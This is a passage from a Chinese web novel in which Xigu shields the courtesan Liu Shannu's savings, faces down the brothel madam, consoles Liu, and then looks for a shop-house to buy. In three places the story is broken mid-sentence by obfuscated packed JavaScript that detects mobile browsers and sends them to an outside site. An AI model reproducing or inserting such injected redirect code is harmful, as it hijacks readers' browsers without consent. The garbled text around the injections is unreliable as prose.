不过也没有为难她,只是将扇子底下的扇坠轻轻一扯,扯了下来。 扇坠递到细姑面前,“你知道该怎么做。”她听到公子这样说。 还能怎么做?把扇坠给该给的人呗。 谢雍走后,文相公对这场宴请满意非常,又封了三十两给柳扇奴,谢她今日之功,连细姑和环儿都得了一两的赏银。 讲了一个下午,口干舌燥的,可能这就是文相公满意的地方?细姑搞不清楚。 马车里,细姑把扇坠给了柳扇奴,连同谢公子给扇坠时的情景说了一遍。 柳扇奴接过扇坠,拿在手里反复看了一会儿,也没回细姑的话,转头看向外面,不知在想什么。 25. 第 25 章 谢公子留下一个扇坠后,如同骑了黄鹤般杳消失得无影无踪。 小楼里的日子就像门后的河水一样,日复一日地流。 有一天——河水起了变化。 泉布巷和小楼离得远,细姑都是搭船过来。 这天茗儿早早等在后门,满脸急色。 “怎么了?”细姑忙不迭地上来。 茗儿上前,两手握住细姑,满脸希冀,“大姐,你要救救我们!” 细姑悚然,“什么叫我救救你们?” 柳扇奴和茗儿有什么要她去救的?她就是个跟班的! “你先进来!”茗儿把细姑拉到了屋内。 柳扇奴也在。她坐在一楼内室的椅子上,手边是一个敞开来的包袱——全是金银珠宝! 这是做什么?! 柳扇奴看着细姑进来,她站起身,十分郑重地对着躬身施礼,“大姐救我!” “这到底是怎么了?一大早上的!”细姑疑惑到了惶恐的地步。 原来柳扇奴早就想离开繁金楼,虽然现在独居一处,但她是繁金楼的金字招牌,是朱大娘子一手捧出来的宁州花魁,身契乐籍都捏在朱大娘子的手里。 朱大娘子一天不同意放人,柳扇奴就一天不得自由。 也不是没有要给柳扇奴赎身的客人,价钱给得高,朱大娘子自然不拦着,可是柳扇奴又不愿意。 至于为什么不愿意,她没说。 总之柳扇奴搬出了枇杷巷,除了每年给楼里带来贵客,每个月还要给朱大娘子上交一定收入比例的花捐银,此外一切衣食住行的钱财费用皆由自己负担。 本来柳扇奴身边有一个的婆子是朱大娘子指派过来的,名曰保护,实则是为了监视柳扇奴有无谎报私藏,最近那婆子病得厉害,不知柳扇奴如何说服那婆子向朱大娘子遮谎——让柳扇奴自己添人。可如今这谎被朱大娘子识破了,她自然要来小楼找柳扇奴的麻烦。 只是不知道什么时候来? “大姐,”柳扇奴顿了一下,显然她也在衡量其中的风险,“这里的钱财是我这一两年来攒下的体己,还请大姐替我遮藏一二。” “什么?!”柳扇奴轻言慢语,细姑却被震得站直了身子,怕人听见,又小小声道:“这么多钱给我?我往哪里去放?还有——我要是把你这钱都拿走了,不还给你,怎么办?” 这太荒谬了,才认识几十天,就把钱都给自己拿着,柳扇奴不怕,她还怕呢! “不行!不行!”细姑直摇手。 “大姐!”柳扇奴跪了下来,两只眼里蓄满了泪水,“没有别人了,除了你,我再也不识得几个信得过之人!”她也没有办法了,只能病急乱投医,“你是良籍,又没有跟楼里签身契,她不敢查你的!” 细姑跳开脚,“哎呀!你跪我做什么?我要折寿的!而且朱老大不敢查,她背后的人呢,报个官不就能查了?” 这种可能性不是没有。 听了细姑的话,柳扇奴也不再出声,她退回到椅上,神情里带着绝望,随即又像是下了某种决心,道“大姐,你只管拿着,不管这笔钱最后能不能回到我手中,只要不到她的手里就行!” 她是谁,细姑不用猜也知道,到底是心软,她念起了周娘子的口头禅,“哎呀——你金银留一小部分下来,再找一根不常用的金钗给我!” 细姑把金银裹在柳扇奴换下来的青纱帐里,一路紧赶慢赶的回到泉布巷,想了想,干脆把金银都填到灶里去,反正这玩意儿又烧不坏。 朱大娘子是晚上来的,带了三个仆妇,不请自入。 细姑跟着柳扇奴赴宴回来,就看到门开着,屋里的灯亮着,一楼下面站了一个妇人,妇人见到柳扇奴,要笑不笑的喊了一声“柳姑娘!” 柳扇奴的身体慢慢挺直,她看一眼二楼的方向,随后扶着楼梯“噔噔”、“噔噔”的上楼。 细姑和环儿也跟着上去。 一上去,就看到书案被拖到了屋子中间,上面全是柳扇奴的东西,朱大娘子正坐在书案后的椅子上面,她手里拿着那天谢公子留给柳扇奴的白玉扇坠,身后站着两个面目凶恶的仆妇。 朱大娘子一言不发地看着柳扇奴几个上来的。 柳扇奴定定心神,走上前去,屈膝行礼,“妈妈!” 扇坠被放在手里把玩,朱大娘子的脸上看不出任何的不高兴,“我们善姐儿回来了。” 语气堪称和蔼,细姑听着却觉得瘆得慌。 而且扇姐儿?扇姐儿怎么了? 细姑看见柳扇奴在听到这句话后,手里的帕子都攥紧了。 柳扇奴把二楼的情形都看在眼里,知道今天朱大娘子自己跟朱大娘子是不能善了了,随即不等人叫起,便自己起身走到妆镜前。 “妈妈都搜过了?”柳扇奴在拆首饰,“桌上那些不够,女儿身上还有一些,等下妈妈拿了,一起带回去吧。” 首饰、衣物是花魁娘子的脸面,也是繁金楼的脸面,柳扇奴说这话就是在磕碜朱大娘子。 扇坠被扔回桌案,朱大娘子站起身来。 怕朱大娘子打柳扇奴,茗儿挡在了卧房的门口,伸出胳膊挡了朱大娘子的去路,“大娘子,你不要为难我家姑娘!” 茗儿怕得整个身子都在抖。 朱娘子冷笑一声,一抬手,“啪!”一个巴掌打在了茗儿的脸上,五个清晰的指印! 茗儿叫这一巴掌给打傻了,睁着两只大眼睛,捂住自己的脸。 细姑赶忙上前把她拉到一边,小声哄着她,“好茗儿,不哭!不哭!” 朱大娘子看见细姑,认了出来,冷冷道:“你还真是会钻营,哼!” “妈妈要打就打我!做什么要打我的丫头!”柳扇奴转过身,怒视着朱大娘子。 “我打你做什么?你的脸、你的身子,是楼里的招牌,损了一点,怎么去见客?怎么给我挣银子!”朱大娘子的个头完全遮住了柳扇奴,说话的声音像蛇在吐信子,“善姐儿,我知道你心气儿高,看不上我给你找的郎君,一直不肯赎身,就等着自己给自己赎身子,是不是?” 朱大娘子停下来了。她绕着柳扇奴看了一圈,啧啧有声,口中继续吐着毒汁,“你的确是清丽美貌,人也聪慧,有才情,那些公子老爷喜欢你,把你捧着、纵着,我也喜欢你,我也捧着你、纵着你!” 说到此处,朱大娘子的声音陡然拔高,“你十四岁登台献艺,我留你留到十七,你的选婿宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504329|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上我把在整个南国认识的名人贵客都给你请来了,让他们去衬你的名声、养你的心气儿,你知道当个名妓最重要的是什么,是那一股子心气儿!” “什么美貌、才华、操行,只要是个漂亮点的丫头,养一养,都有!只有这股子心气儿,不甘心堕到烂泥里的心气儿!才能叫那些个有钱的老爷高看你一眼。他们要的就是这股身在泥沼心如莲开的心气儿!他们最爱这个!所以我忍着你、让着你,忍让到今天!怎么?把我留下来的人弄走,找了个不知道从哪里的,你就能当自己的家!作自己的主?想干什么就干什么?我告诉你!早着呢!” 朱大娘子对着两个仆妇使一个眼色,“给我搜!” 两个仆妇立刻上前,一个压着细姑,一个在细姑身上搜来摸去! 细姑心道:竟是冲着我来的! 叫人这样按在地上,浑身上下摸来摸去,毫无尊严,细姑就是个泥捏的,也得起性子! 她猛地站起身来,甩开膀子,把人甩到一边,“干什么!干什么!我去你大爷的十八辈祖宗,老娘我是清白人,可不是你娼门子里的妓女!”细姑理理衣裳,“少拿你那脏手来碰老娘的身子!” 说完,细姑抡起刚刚还抱在怀里的琵琶,指着那两个仆妇,“谁敢再过来,老娘我一棍一个,大不了一起去死!”又不是没死过,“我去你祖宗!” 发起疯来的细姑吼声震天,朱大娘子都叫这动静给镇住了,她颤着手指向细姑,问柳扇奴道:“这就是你找的人?” 细姑叫这朱大娘子指得极不爽,一巴掌拍下朱大娘子的手指头,“你指什么指?整日丧着个脸的老虔婆!是她柳扇奴求了老娘来的,又不是老娘自己巴结上来的!” 细姑比朱大娘子高一些,此刻正骂得上头,活脱脱一个夜叉,“挣你几根骚毛钱,叫你指桑骂槐的指着老娘!什么东西!” 一开始跟柳扇奴商量好的应对中并没有细姑发火这一环,实在是细姑被这伙子人搞得气性上头。管不了了,不出了这口恶气,她要憋死!什么朱老大朱老二的!不忍了!统统不忍了! 柳扇奴和茗儿也惊呆了,两个目瞪口呆地看着细姑。 朱大娘子叫细姑打这一下,手指生疼,她盯着细姑,“好!好!好!” 几个好字又把细姑的火气拱了上来,“好好好!好什么好!”她把手里琵琶举了起来,高高地举在朱大娘子的脑袋上面,“老娘不干了!把老娘这个月的月钱给老娘!二两!少一根毛今天我剁了你!” 文气的秀才好说话,凶神恶煞的疯妇人,朱大娘子一时半会儿搞不定,她喝令手下的仆妇,“把银子给她!” 银子只多不少! 细姑收了银子,又对柳扇奴道:“柳姑娘,我走了!”她又指指朱大娘子,“这个姓朱的老虔婆不是个好人,她的话你不要听。你去找那个文相公,或者是姓谢的那个,那人是个什么桃子、柿子的,总归是个什么不得了的大人物,你干脆跟了他算了,从他手里拿把剑来劈死这个老虔婆!” 细姑说完,还不忘朝朱娘子脚下啐一口,“呸!” 然后拿着琵琶开路,到楼下,把堵门的妇人一琵琶捣开,出了门,回头把手里的琵琶往门里一扔,走了。 26. 第 26 章 细姑走了。 整个小楼里针落可闻。 朱大娘子在细姑一句一个的老虔婆声里,气得浑身发抖。 她一手扶着额头,一手推开了上前要扶她的仆妇,看向柳扇奴,“你的确是心大了,找了这么一个人来,骂了我一通。可是善姐儿,我告诉你,她骂我骂得再难听,没有用!我朱玉就是个虔婆,就跟你柳善姐是个妓女一样,都是命中注定的!” 小楼的烛光映在朱大娘子那双琥珀色的瞳孔里,像是两把鬼火,照得柳扇奴浑身上下凉透了。 朱大娘子慢慢平复了下来,又说道:“你的身契还在我手里,我不点头,你想要清白、想要自由,我告诉你,做梦!” 朱大娘子的气势压得人喘不过气来,但柳扇奴不肯示弱,她硬挺着脊背,直视朱大娘子的眼睛,“妈妈说得对,拜您所赐,我柳善如今成了妓女!就跟您当年一样!” 她恨朱玉,恨得做梦都想要杀了她! 朱大娘子冷笑出声,“善姐儿,你打小聪明,记性好,那你告诉我,你爹娘当年拿了多少两银子才肯把你卖给我?” 七十两! 整整七十两! 柳扇奴闭上眼睛,再说不出一句话来。 朱大娘子的恶意还在继续,“你不说,好!我替你说!七十两,我用整整七十两从你父母手里买下了你!” 柳扇奴溃不成军,朱大娘子已然得胜却还不肯放过她,“人家一个调教好的侍女小妾也不过百八十两,你柳善当年不过是个七岁的小丫头,你凭什么能卖到七十两?”她用手点着胸口,“凭我朱玉看好你!我一见你就知道,你柳善天生的讨人喜欢,是上上等的青楼苗子。你爹娘也尤其地疼爱你。我给他们二十两,他们不卖你;给她们四十两,他们也不愿意;六十两,他们舍不得你,我出到了七十两,他们才终于同意把你卖给我……” 往事就是这世上对付柳扇奴最锋利的刀子,现在朱大娘子拿着这把刀,一刀一刀地凌迟着柳扇奴! 凌迟完柳扇奴,朱娘子像是终于出了一口恶气,又变的面如石砌,严整体面。 带着几个仆妇下楼前,她还不忘问柳扇奴一句,“你有没有回去看过你的爹娘?” 看看他们用你的卖身钱过得好不好? 朱大娘子将人凌迟完,还不忘添上一句诛心之语。 细姑出了小楼,没走远,一直到巷口那里,找了一个人多的卖馄饨的摊子,点了一大碗馄饨,就躲在墙边上吃馄饨。 跟朱大娘子干了一架,可把她给累坏了。 吃完了又等了好一会儿,也不见朱大娘子从巷子里面出来。 怎么回事?朱大娘子这么厉害?被自己硬顶了一通,还有力气整饬柳扇奴? 细姑有些担心。 又等一会儿,路上人都少了,朱大娘子还不出来。 别是从小楼后面的水门走了吧? 她刚想站起身进巷子里面瞧一瞧,就看见朱娘子带着几个仆妇从巷口出来。 细姑赶忙找了个转角躲起来,然后目送着朱老大几人上了马车。 马车走出去老远,直到看不见,细姑才探头探脑地站出来。 时辰太晚,有些摊子已经收了。 细姑走到刚才的馄饨摊上,摊主也在收拾东西,细姑问他,“老丈,你这里的馄饨还有剩么?” 摊主老头看了细姑一眼,继续收拾东西,“面皮还剩一些,肉馅没了,天气热,存不住,就没多准备。” 有点皮也行,柳扇奴和茗儿两个也是一点没吃。 “那你收拾收拾,跟我走一趟,再做笔买卖。” “去哪儿?” “不远,就在巷子里,跟我走就是了!” 细姑到的时候,前门大开着,楼里有烛光,但是没一点声气。 “坏了!别是被朱老大骂得狠了,想不开跳河了吧?”细姑急着上楼,还不忘嘱咐挑着扁担馄饨的老头在门口等她。 柳扇奴没有跳楼,但是看着跟快死了也差不多。 二楼窗户紧闭,灯烛的火心笔直,一动不动的烧着。所有的东西都放在原处,朱大娘子什么也没拿走。 柳扇奴就站在那面妆镜前,笔直笔直的,僵硬着颈项,垂下头来。 细姑看到镜子里的柳扇奴——紧闭着眼睛,脸上的只有两道干涸的泪痕,面如死灰。 茗儿也抱膝埋头坐在地上,时不时地抽泣一下。 “唉——”细姑长长的叹息一声。 她也不知道自己走了以后,朱大娘子又说了什么做了什么,把这两个搞成了这样。 她先去把楼里乱七八糟的东西都归归好,然后走到二楼窗边,把窗户打开。 门窗一开,河面上的就进来了,烛心的火光又开始摇摇晃晃。 细姑下楼,问卖馄饨的老头要了一点干净的热水,把帕子打湿了,哄着茗儿把脸露出来,给她擦擦干净。 “好茗儿,不哭了,哭得眼睛都肿了,更不好看了!”茗儿一直觉得自己粗苯看起来没有她家姑娘那样的风流袅娜,所以细姑拿着小姑娘最在意的外貌来哄她。 茗儿才十一二岁,还是个孩子心性,有人哄着,慢慢也就好了,她站起身,对细姑道:“大姐,我好了,我们去看看姑娘!” “诶——”细姑又叹一口气,茗儿好说,柳扇奴那样的才麻烦——只看她浑身泄力,眼泪都不流了,分明是存了死志。 细姑走到柳扇奴边上,强按着把她按在凳上,同茗儿说道:“你把姑娘头上这些乱七八糟的东西都拆了,我来把脸上的妆都卸了。这些个脂啊、粉啊、金啊、玉啊的,满头满脸的,再好的人、再玲珑的心思都能给糊住了,都给她去了,叫人也松口气!” 茗儿点点头,两人合力把桎梏住柳扇奴的东西都给去掉了。 柳扇奴又成了她最原本的样子。 细姑忙完这些,也搬了个小凳坐到了柳扇奴边上,她看着柳扇奴略有松动的神情,道:“柳姑娘,我不知道你遭受过什么,也不知道朱玉那个老虔婆又对你说了什么。” 茗儿知道,她赶忙告诉细姑,“朱老大说姑娘天生讨人喜欢,天生就是个做妓女的,她用七十两才从姑娘爹娘手里买下了姑娘!” 听了茗儿的话,柳扇奴的身体又开始颤抖。 细姑心道:怪不得,戳人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509882|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直戳心窝子。 她点点头,一只手抚着柳扇奴瘦弱的脊背,又继续道:“姑娘,这不是你的错!天生讨人喜欢,被父母卖了,沦落到这个地方,这些都不是你的错!你没有做错任何事情!你只是——” 细姑说着说着自己也忍不住有些哽咽,她深吸一口气,强忍了下来,“你只是比别人多得了一点老天爷的喜欢,难道老天爷喜欢你也有错?那当然是没错的,老天爷没错,你也没错,错的是他们!” 柳扇奴的眼泪终于落了下来。 细姑也忍不住哭了,但她还是要说,“好姑娘!你是个好姑娘!我知道你一定是受委屈,受了天大的委屈,委屈得你想死是不是?” 柳扇奴没有回答,眼泪像穿线的珠子一样落了下来。 “你不能死,人一死就什么都没了。你读过很多的书,你见过很多的——”细姑想说男人,但她犹豫了一下,还是把男这个字给隐去了,“很多的人,你有这样的美貌,这样的名气,你死了他们会那你说什么?做什么?你知道吗?” 柳扇奴张开眼睛,那双留着泪的眼睛里遍布红丝,她问细姑,“什么?” 细姑给她擦一擦眼泪,擦了还是有,干脆也不擦了,“他们会给你办一场葬礼,会悼念你,把你比作出那烂泥长出来的莲花,但是现在这朵花死了——他们最喜欢看漂亮的、青春正盛的女人去死。你倘若死了,不论是跳河浮上来变成一具艳尸,还是挂在房梁上垂下一双绣鞋,都会让他们诗兴大发,都会被他们写进诗里、词里、他们未必没有不平的事情,未必敢去抗争,但他们也未必敢去死,” 柳扇奴的眼泪已渐渐止住了,她看着细姑,等着细姑继续说下去。 “他们只能借着你的死去说他们的不甘、怨愤……至于你,你柳扇奴已经了死了,一个死人,谁会管一个死人是怎么想的?” 细姑的话说完,柳扇奴直起了身子,她自己用手背把脸上的泪痕擦掉,又把手背在衣裙上蹭蹭,蹭掉了那些水迹,冷冷道:“可笑!” “可不就是可笑!什么话都让他们说去了!”眼看着柳扇奴是不想死了,细姑也把脸抹了一抹,“你们饿了没有?吃点东西吧,以后的日子还长呢,不吃饱了,怎么有力气活下去!” “早就饿了!”茗儿道。 “我今天要吃多点,我要长高点,长结实点,像大姐你一样,再也不要什么纤瘦好看!大姐,你不知道你刚才有多威风,抡起琵琶就举在朱老大的头上,就这样——”茗儿学着细姑方才威胁朱老大的样子,语气十分的羡慕。 柳扇奴破涕为笑,看着细姑点头道:“朱老大怕是这辈子都没叫人这样吓唬过!” 说到这个事情,楼里的气息快活起来。 细姑想起来什么,两个手握成了拳头,锤在了一起,“哎呀——琵琶——琵琶叫我给扔在门口,也不知道摔成什么样子了!” 刚才光顾着耍性了! 细姑慌不跌的跑下楼去,拾起琵琶一看,果然坏了! “哎呦——完了!这个得赔多少银子,叫丽娘知道了,回去还不得骂我三天臭头!”细姑哀嚎。 楼上的两个笑得更欢了。 27. 第 27 章 银子细姑当然是不用赔的。 但她毕竟弄坏了人家的东西,为了表示歉意,她请柳扇奴和茗儿吃了一顿加盐的面片汤。 非常朴实无华的一顿。 老头馄饨摊上仅剩的一点东西被吃得一干二净。 吃过东西,细姑把怀里的金钗掏了出来,递给柳扇奴,“这东西没用上,还给你。” 朱老大来过之后,细姑必定会被搜身、会被赶走,为了让细姑不被怀疑,她们几个定下一计——让细姑假作偷了金钗被发现,正好顺势被赶走。 一个会偷东西的仆妇,哪能得柳扇奴的信任呢? 柳扇奴没接,“这东西送给大姐了,今天不是你,还不知道要如何收场。” 她真心实意地感谢细姑,谢她的英勇、谢她的开解。 “那行,我给你收着,跟你那堆东西一起。你什么时候要,我再还给你。”细姑又把东西收了起来。 “大姐,我不是让你收起来,我是要把这根金钗送给你!”柳扇奴看着细姑又说了一遍,语气更加诚恳、更加笃定。 细姑不想要,她直说了,“我不想要这东西,至于为什么我也不说了,你要是真想谢我,就把那顶青色的纱帐子送给我吧,那个我用得着!” 夏天蚊虫多,细姑招蚊子,丽娘给她制的帐子又厚又闷,她挺想要一顶轻薄透气又好看防蚊虫的帐子。 柳扇奴笑了,“好!我就把那顶帐子送给你!” 细姑直率,柳扇奴也不多强求,她又说道:“这一两天,朱大娘子走了,但是她遣来的婆子这一两天就会过来,大姐你——” “我去干点——别的!”细姑本来想说去干点正经的,话到嘴边的时候到底过了一下脑子。 临去时,柳扇奴和茗儿舍不得细姑,但也没办法开口挽留她。 还是细姑跟她们报了自己现在租赁宅院的所在,她向她们保证:“等我找到了新的营生,换了地方,我就想办法托人跟你们说一声。” 回去的时候,天色异常的晚,路上几乎没人。 丽娘屋里的的亮着,她在等细姑。 细姑一回家,不仅看到了丽娘,还看到了桌子上的饭菜、从灶底刨出来的金银、还有一顶帐子。 丽娘的脸上满是担忧,她看向细姑,“大姐——” 细姑知道丽娘在担心什么,她举起两只手,示意丽娘先不要说话,然后找了个凳子坐到丽娘边上,“丽娘你听我讲,是这样的——” 今天在小楼里发生的一切,细姑一一说给了丽娘听。丽娘听后脸上的担忧尽去,取而代之的是痛惜。 她看向睡在床帐里热得一头汗的刘月儿,长叹一声,“都是可怜人!” “是啊!”细姑跟着叹道。 “那这些东西我们得给人家收好,人家要攒着赎身用的,可不能弄丢了、弄少了!”丽娘道。 细姑赞同,“说的是,那咱们把这堆东西藏到哪里去?”她藏到灶灰里,还不到一天就被丽娘都找出来了。 丽娘起身,把东西收拾收拾,“还能藏到哪里,灶底下呗!除了我,谁还会掏咱们家的锅底?” 说得也是! “哎——这个帐子可不是!”一看到丽娘要把那些脏兮兮的金银包到青纱帐里去,细姑马上跳了起来,“这是我厚着脸皮问人家讨的!我要用的!” 细姑当天晚上就用上了那顶帐子,这顶青纱帐真是个好东西,又轻、又薄、又透。 帐子挂上去之后,细姑觉得自己这间单调乏味的屋子都有了一点朦胧的香气。 就是大小不匹配——帐子大了,细姑的床小了。 细姑的床就是一张光秃秃的板床,连床架子的都没有,为了挂帐子,床头四角绑了四根细竹竿子,柳扇奴给的那顶青纱帐就这么歪坠坠地撑着,跟什么东西漏气了一样。 今天晚上没月亮,黑漆漆的,细姑躺在帐子里,张着两只眼睛。 她睡不着。 她也不知道自己为什么睡不着,天气热又懒得动,就那么挺尸一样地躺着。 躺了一会儿,她屈膝翘起二郎腿,把一只脚翘得高高的,就那么点着、晃着。 “哎呀——失业了——”她自言自语,听不出什么慌张惆怅。 她算算自己的银钱,还有三四两,宅子的赁钱也刚交没多久,一时半会儿确实也没什么好慌的。 再说了,她还有“天地银行”! 意识进了空间——她好久没去看这个空间了,里面积了好多的银块,像石头一样堆在一起。 细姑正看着呢,“咯噔”,又来一块。 子时了。 空间里每天刷新的银子使用起来费劲,但是很准时,银子刷新的声音当个闹钟不错。 细姑懒得数有多少银子,又出去了。 话说自己死了,为什么会穿越呢?细姑第一次想这个问题。 健康的身体,自由的身份,还有钱,连钱都给备好了。她今天劝柳扇奴的时候,说老天爷偏爱柳扇奴,现在看来,穿越之神应该也是偏爱她王畅的。 可能是大神看她上辈子过得太累了,这辈子让她好歹清闲一下。 嗯!一定是这样! 细姑翻了个身。 但是也不能太闲,太闲了出问题,她还是得找点事情做,这次她不想给别人干了,她想给自己做点什么,不需要有什么意义,只要是给自己做的就行。 该干点什么呢? 细姑想啊想,想得睡着了—— 房子,一个自己的房子,自己做主的地方——细姑一睁开眼,脑子里面就蹦出来这么一句话。 她还从来没有过自己房子。 小时候跟爸爸妈妈住,那是爸爸妈妈的房子,长大后住学校宿舍、自己租房子住、或者跟姐姐一家人住在一起,来到这里以后,住在刘洪的租的院子里面,丽娘租的院子里面,现在是自己租的小院子。 她像个寄居蟹一样,到处换地方住。 当买房子的想法出现在细姑的脑子里面的时候,她一下子就兴奋了,猛地坐起身来。 穿越大神都偏爱她不是吗?钱都准备好了,干嘛不去买个自己的房子? 她一股脑儿的把空间里面的银子都送了出来,“哗啦——”增光明亮的银子散了满床,和细姑这张铺着草席的简陋床铺风格迥异。 细姑的脑子又凉了下来。 她现在要收回穿越大神对她也有几分偏爱的看法,因为这个偏爱有点潦草——全是分毫不差的三两纯银,她要怎么搞,要搞多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515164|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才能把这些纯银不动声色的换成这个时代普通人能花用的八分银、九分银。 上次偷懒没处理好,差点叫那个姓沈的看出眉目来,现在想买宅子要用到那么多银钱,该怎么搞? 真是——令人头大! 她要是自己会熔金银就好了! 没办法,只能一点一点来,细姑操起斧头柴刀,先切肉一样把银子切开,再把切碎的银子剁馅儿一样剁的烂碎。 “我看谁还能看出老娘的银子有问题!”细姑像对待仇人一样地用力,边剁边念叨。 银子毕竟是银子,即使有趁手的工具也不是那么好处理的,细姑忙活了半天,连那堆银子的十分之一都没有搞定! 一上午,累了,也饿了。细姑把剁成碎渣的银子丢进了罐子里面,照例泡上了草木灰水。 然后把东西都收拾收拾,出门去。 细姑出来的不是时候,六月里正当午的太阳能把人晒化了。她随便吃了一点东西后,不敢在太阳底下多做停留,直奔张家牙房。 一进去,张房牙立刻满脸堆笑地迎上来,“王娘子,您怎么这个时辰过来了?这时候多晒!” “这都多久了,房牙还能记得我呢,”细姑笑,“快给我口水喝,吃了点东西没喝水,走了这一会儿,渴死我了!” 张房牙给细姑搬了个椅子,“您先坐,我去给你倒杯茶水来。” 张房牙这里备着放凉的茶水。 细姑“咕嘟”、“咕嘟”地灌了一碗茶水后,把茶碗一放,“有了!” “什么有了?”张房牙问道。 细姑没回他,只问:“房牙,你这里有没有后宅前铺的宅子,我要买一间,开个茶铺子。” 茶水铺子好啊,有事情做,又清闲、又不用大本钱、又不用太多的专业技能,还不用烟熏火燎的做饭——主要是她做饭也不好吃。 “嗯——”张房牙撑开了他眼皮耷拉着的小眼睛,“大姐最近哪里发财了?” 细姑偏他一眼,笑得神情莫测,“嗨!发财倒是没有,给贵人帮了个小忙,贵人赏给了我一点养老立身的本钱!” 她说的像是真的一样。 张房牙站起身来,拱手向细姑道谢,“恭喜娘子!恭喜娘子!”随即表情郑重起来,“娘子准备了多少的银钱,准备买在哪里?买个多大的?” 细姑发了笔财要买房子,他也能跟着做笔买卖喝上一口汤。 细姑想了一想,“不用在那贵人地界,就咱们平常百姓的地方就行,有人,热闹点,不然我哪来的生意不是?” “热闹?那就珠市附近,柳桥埠头那里,那都是热闹人多的地方!”张房牙开口试探道。 “那种地方,你把我卖了也买不起那一间茅房!少来消遣我!” “大姐您刚才说的,”张房牙伸手比了个手势,“有点本钱的。” “去!”细姑佯装生气,“我有那银子我还开什么铺子,我躺家里当个祖奶奶的不好?” 张房牙嘿嘿一笑,“那我知道了,我给您找去!保证找到您满意为止!” “这还差不多!”细姑点头,“我还住在泉布巷里头,你有消息就到那去找我,不过我最近闲,有空也常往你这里来!” “好说!好说!” 28. 第 28 章 宁州府虽大,要找一位合适的宅子也不容易。 张房牙给细姑找了两处,都在城南。 一个前头两间铺面后面跟着两间房,中间夹一个过道似的天井。铺子倒是大小合适,但是几乎没有院子,太窄了,即是价钱便宜,细姑也不大乐意。 另一个倒是宽敞,四间铺子、四间房,铺子和院子之间是个大院子,但是太贵,要五百两,而且铺子太大,她只想开个小茶铺,每天有点事情做,能和人说说话就行,这么大的铺子,要着没用,且五百两银子的做旧兑换工程也十分巨大。 细姑大热天的跟着张房牙跑了两趟,都不行。 好不容易养得黄白的皮肤,又被晒成了黄黑的,而且月事也来了。 细姑欲哭无泪,来了几回月事,她终于知道月事带里面加的什么了——草木灰,这古代草木灰还真是无菌且万能的好东西。 至于做旧的银渣拿去倾银铺子里兑换的事情倒是比想象中的要简单一些。 细姑拿来兑换的碎银渣子当然有点问题,但是开铺子要挣钱,不是太离谱,自然就是睁一只眼闭一只眼。更何况细姑做了大让步——拿纯银和九分银按一比一的比例兑换。 有钱不挣是王八!开倾银铺子的老板深谙这个道理。 这天终于下了一场雨,细姑闲着没事儿,打着伞在泉布巷的宅子里面拔草。天气热,草总是从砖头缝里钻出来,几天不管就长得老高。 外头响起哐哐哐的敲门声——“王娘子!王娘子!你在不在?” 是张房牙。 细姑开了门就见张房牙打着伞站在外头,衣角都让雨给淋湿了,他满脸喜色,“王娘子,有了!有了!” “什么有了?合适的宅子有了?”细姑问他,“你进来躲躲雨,喝口茶,慢慢说。” “诶——”张房牙拒绝了她的好意,“王娘子跟我一起,去看看,现在就去!” 看什么宅子要这么急? 张房牙给细姑找的第三处宅子也在南边,比前两个都要南,宁州城的最南边,在惠民渠出城墙的水门边上,和惠民渠就隔着一条土路。 今天下雨,土路上满是泥泞,等走到的时候细姑的鞋子已经脏得没法看。 铺子的门开着,两个人把手里的伞收了进到里面,一进去就看到铺子里或站或坐的有四个人。 张房牙走到一人面前,拱手道:“赵哥哥,你这儿谈得如何,若是不行,我这儿也有一位,一起看看?” 原来这处宅子不是张房牙手上的,他是从这位赵房牙手里得到的信儿,把细姑带到这里来的。 细姑来的时候算是巧,前一位客人显然和这位房主谈得不好,把房主老头气得直咳嗽。 那位客人看一眼赵房牙,又看一眼细姑,对着细姑道:“这位娘子,这家主人把自己的一间半铺子当成个传家宝,想卖出黄金的价来,”那人又转着眼睛把这铺子上上下下都看了一遍,嗤笑一声,“也不看看这都多少个年头了,光是重新修整一番就得费多少功夫和银钱!” 说完,那位客人向赵房牙拱拱手,道一声“劳烦!”,便走了。 细姑跟着那人把铺子各处看了一遍——铺子的确是老了,梁柱、窗柩、门板看得出不久前刚刷过一层清漆——但是没用,还是深一块、浅一块,墙壁更是这儿开裂、那里掉皮。 整个铺子看起来就跟这家房主人一样——老了。 房主人的妻子是个头发半白的妇人,她站起身,对细姑道:“后生,你不要听他的,我家这地方虽有些年头,但是当初盖起来的时候,用的料子都是好料子,前面铺子是小些,但是后头的地方宽敞,一家三代,十几口人也是住得下的。” 这样好的地方又做什么要卖呢?细姑没问。 